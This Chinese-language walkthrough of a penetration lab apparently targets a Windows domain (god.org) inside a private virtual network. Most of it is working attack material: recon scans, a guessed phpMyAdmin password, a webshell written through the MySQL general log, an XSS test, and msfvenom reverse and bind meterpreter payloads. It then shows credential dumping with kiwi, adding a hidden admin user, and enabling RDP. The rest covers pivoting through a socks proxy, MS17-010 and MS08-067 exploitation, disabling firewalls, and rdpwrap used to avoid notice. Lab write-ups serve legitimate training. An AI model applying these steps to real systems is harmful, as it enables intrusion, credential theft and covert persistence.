一、环境搭建
1.环境搭建测试
2.信息收集
二、漏洞利用
3.漏洞搜索与利用
4.后台Getshell上传技巧
5.系统信息收集
6.主机密码收集
三、内网搜集
7.内网--继续信息收集
8.内网攻击姿势--信息泄露
9.内网攻击姿势-MS08-067
10.内网攻击姿势-SMB远程桌面口令猜测
11.内网攻击姿势-Oracle数据库TNS服务漏洞
12.内网攻击姿势-RPC DCOM服务漏洞
四、横向移动
13.内网其它主机端口-文件读取
14.内网其它主机端口-redis
15.内网其它主机端口-redis Getshell
16.内网其它主机端口-MySQL数据库
17.内网其它主机端口-MySQL提权
五、构建通道
18.内网其它主机端口-代理转发
六、持久控制
19.域渗透-域成员信息收集
20.域渗透-基础服务弱口令探测及深度利用之powershell
21.域渗透-横向移动[wmi利用]
22.域渗透-C2命令执行
23.域渗透-利用DomainFronting实现对beacon的深度隐藏
24.域渗透-域控实现与利用
七、痕迹清理 25、日志清理
1,根据网卡获取的网段信息,对win7所在网段来一波存存活主机检测,排除其他的之后目标锁定在主机号为128的主机上
2.对发现的存活主机来一波整体信息收集发现开了以下的端口,并且是一个域用户
┌──(rootkali)-[/]
└─# nmap -A 192.168.164.128
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-26 09:53 CST
Nmap scan report for 192.168.164.128
Host is up (0.00052s latency).
Not shown: 989 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
|_http-title: Site doesn't have a title (text/html).
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: GOD)
1025/tcp open msrpc Microsoft Windows RPC
1026/tcp open msrpc Microsoft Windows RPC
1027/tcp open msrpc Microsoft Windows RPC
1028/tcp open msrpc Microsoft Windows RPC
1029/tcp open msrpc Microsoft Windows RPC
1030/tcp open msrpc Microsoft Windows RPC
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 00:0C:29:A7:C1:B2 (VMware)
Device type: general purpose|media device
Running: Microsoft Windows 2008|10|7|8.1, Microsoft embedded
OS CPE: cpe:/o:microsoft:windows_server_2008::sp2 cpe:/o:microsoft:windows_10 cpe:/h:microsoft:xbox_one cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows Server 2008 SP2, Microsoft Windows Server 2008 SP2 or Windows 10 or Xbox One, Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
Network Distance: 1 hop
Service Info: Host: STU1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -2h40m00s, deviation: 4h37m07s, median: 0s
|_nbstat: NetBIOS name: STU1, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:a7:c1:b2 (VMware)
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: stu1
| NetBIOS computer name: STU1\x00
| Domain name: god.org
| Forest name: god.org
| FQDN: stu1.god.org
|_ System time: 2021-07-26T09:55:13+08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-07-26T01:55:13
|_ start_date: 2021-07-26T01:43:45
TRACEROUTE
HOP RTT ADDRESS
1 0.51 ms 192.168.164.128
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 85.47 seconds
3,访问改web服务器的地址获取页面内容,发现并没有什么可以利用的东西,只能先目录扫描获取一些有用有用信息
4,用dirsearch工具来扫描,kali默认没有安装,自己装一下就好了,就有了重大发现,有phpmyadmin的目录,说明安装了phpmyadmin,正好和端口扫描的3306mysql服务相对应,然后在把目录都访问一遍之后发现了phpstudy探针
└─dirsearch -u http://192.168.164.128
5,本来想着找个python脚本爆破一下可惜网上的大多用不了,手动猜出来了root,root,登陆进去之后就是通过phpmyadmin写入webshell了
我们这里用日志写入一句话的方式,首先进入phpmyadmin后台,查看genelog变量,更改general log和general log file参数,初始设置general log是OFF,我们将其改成ON;general log file我门要改成网站的根目录,通过phpstudy指针已经知道了网站根目录
show global variables like '%general%';
set global general_log='on';
set global general_log_file='C:/phpStudy/PHPTutorial/WWW/shell.php';
select '$_POST["shell"]);?>';这边写入大马意识可以的
6,蚁剑连接不用多说了,这边有个坑,蚁剑下载插件的时候用了代理,本地环境连接一直连不上,人麻了,测试了一下权限administrator真的高
7,查看根目录之后发现了一个cms我们在浏览器访问,自己安装的phpstudy打不开这个管理系统,把原来的phpstudy重启一下完美解决
不用扫目录之类的了,主页面已经给了出来信息直接用,进入后台并登录
8,在前台模板哪里发现了上传点,我们可以上传一个大马,奥里给!创建了一个名为shell_1.php的文件,然后就是查找创建的目录
9,找了半天在robots.txt里面找到了目录一个一个找出来了,不过好像可以目录穿越出来,我试了几下没粗来,不过这个大马子挺好用
10,看了一下教程,说是留言板有个xss的,我们也来试试
<script>alert('xss')</script>
成功弹窗
11,不整那么多了,现在就是经典内网环节,先用msf生成马子用蚁剑上传,反弹shell用msf监听
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.164.129 LPORT=1222 -f exe -o asd.exe
把生成的马子传上去之后执行,msf监听拿到会话
use exploit/mutli/handler
set payload windows/x64/meterpreter_reverse_tcp
set lhost 192.168.164.129
set lport 1222
12,本来获得会话之后就要是要提权,这个进来之后就是admin,所以省略这一步,我们直接抓取域用户的密码信息
Windows系统下的hash密码格式
Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值,例如:
Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::表
示
用户名称为:Administrator
RID为:500
LM-HASH值为:C8825DB10F2590EAAAD3B435B51404EE
NT-HASH值为:683020925C5D8569C23AA724774CE6CC
13,加载Kiwl插件获取hash并解密
ps
migrate PID(进程迁移)这边meterpreter是32位的,系统是64位的,所以得迁移进程
meterpreter > load Kiwi
meterpreter > creds_all
14,开启3389端口,进入远程桌面,用nmap看看开了没,这边还需要自己添加用户
net user test Admin123 /add # 添加账户密码
net localgroup administrators test /add # 给test账户添加为管理员权限
net user test # 查询是否成功添加test用户
eter > run post/windows/manage/enable_rdp
rdesktop 192.168.164.128:3389 kali的一个远程工具
15,开始横向移动,先自动创建路由
run post/multi/manage/autoroute
16,挂起会话,通过post/multi/manage/autoroute 这个模块查看路由表
17,使用auxiliary/server/socks_proxy这个模块开进行socks代理,设置好服务器ip和端口,运行后自动挂入后台
18,修改/etc/proxychains.conf文件
19,查看socks5的端口开启了没
20,起来了之后就可以使用nmap扫描到内网的存活主机,这样扫描起来有点慢
proxychains nmap -sT -Pn 192.168.52.143
21,我们这里使用msf自带的模块来扫描,发现了两台存活的主机
use auxiliary/scanner/netbios/nbname
22,再用msf的端口扫描模块对发现的主机扫描,查看开放的端口,这边双管齐下,扫描的太慢了
use auxiliary/scanner/portscan/tcp
23,都开了445端口经典ms17_010利用起来,先扫描发现有ms17_010的洞
use auxiliary/scanner/smb/smb_ms17_010
24,既然都有洞了,我门直接丝滑小连招,使用ms17_010的command模块可以执行指令
use auxiliary/admin/smb/ms17_010_command
net config workstation 查看是否有域,以及当前登录域
C:\Windows\system32>chcp 65001
net view 查看域内主机列表
net group "domain controllers" /domain 查看域控制器(如果有多台)
net user /domain 查看域内所有域用户
net group "domain admins" /domain 查看域管理员列表
26,完全可以用ms17_010command模块来执行命令,打开3389添加用户,登陆进去,其实在win7上就拿到了管理员用户名和密码,不过这是练习,我们就在继续骚操作
我们通过弹一个正向shell (因为msf 开了代理,所以不能弹反向shell),我们可以win7远程桌面,所给把马子传给win7然后开共享目录,下载到域控上面,然后执行
msfvenom -p windows/meterpreter/bind_tcp -f exe -o /home/dzj/s.exe
use exploit/multi/handler
win7开启共享
然后用域控的ms17_010command执行复制指令
copy \\192.168.52.143\WWW\s.exe C:\s.exe
这里又有一个坑,win7防火墙开了,导致域控一直下载不了文件,麻了
netsh advfirewall show allprofile state查看放防火墙状态
netsh advfirewall set allprofiles state off关闭所有防火墙
set command copy \\\\STU1\\WWW\\s2.exe C:\\s2.exe
这里我是下完之后试的,重启机子就好了,我tm
然后就是msf监听了
set payload windows/x64/meterpreter/bind_tcp
一直连不上shell应该是防火墙的原因,不过我在用win7的nmap扫描之后发现了ms08_067
27,利用exploit/windows/smb/ms08_067_netapi这个模块直接拿shell
set payload windows/meterpreter/bind_tcp
28,利用一下win7上的nmap了扫描一下另外两个主机,两个主机都有ms17_010的洞,不过有一台是32位的系统利用不了只能从另一台下手了
exploit/windows/smb/ms17_010_eternalblue
这还有坑这个主机开了防火墙,我之前试了几次一直拿不到shell,用ms17_010command执行指令关闭之后就返回了shell,这个因为开了代理所以得用set payload windows/x64/meterpreter/bind_tcp正向连接
29,现在就是抓取hash密码,开启远程桌面,作为桌面党开了远程桌面才算舒服了~~~
套娃ing,这里可以用端口转发,我直接在win7的远程再开一个远程
30,最后一个其实已经拿到域管理员的密码了可以直接用ms17_010commad关闭防火墙打开3386了
这里还有一点对于非服务器版本的windows 远程登录的话,会断开该主机当前的连接,有可能会惊动管理员。这个时候不慌,使用 rdpwrap
rdpwrap 是一款可以允许非服务器版本进行多个用户登录的patcher,从github上面下载下来,用蚁剑把 RDPWInst.exe 传上去,然后执行:
RDPWInst.exe -i -s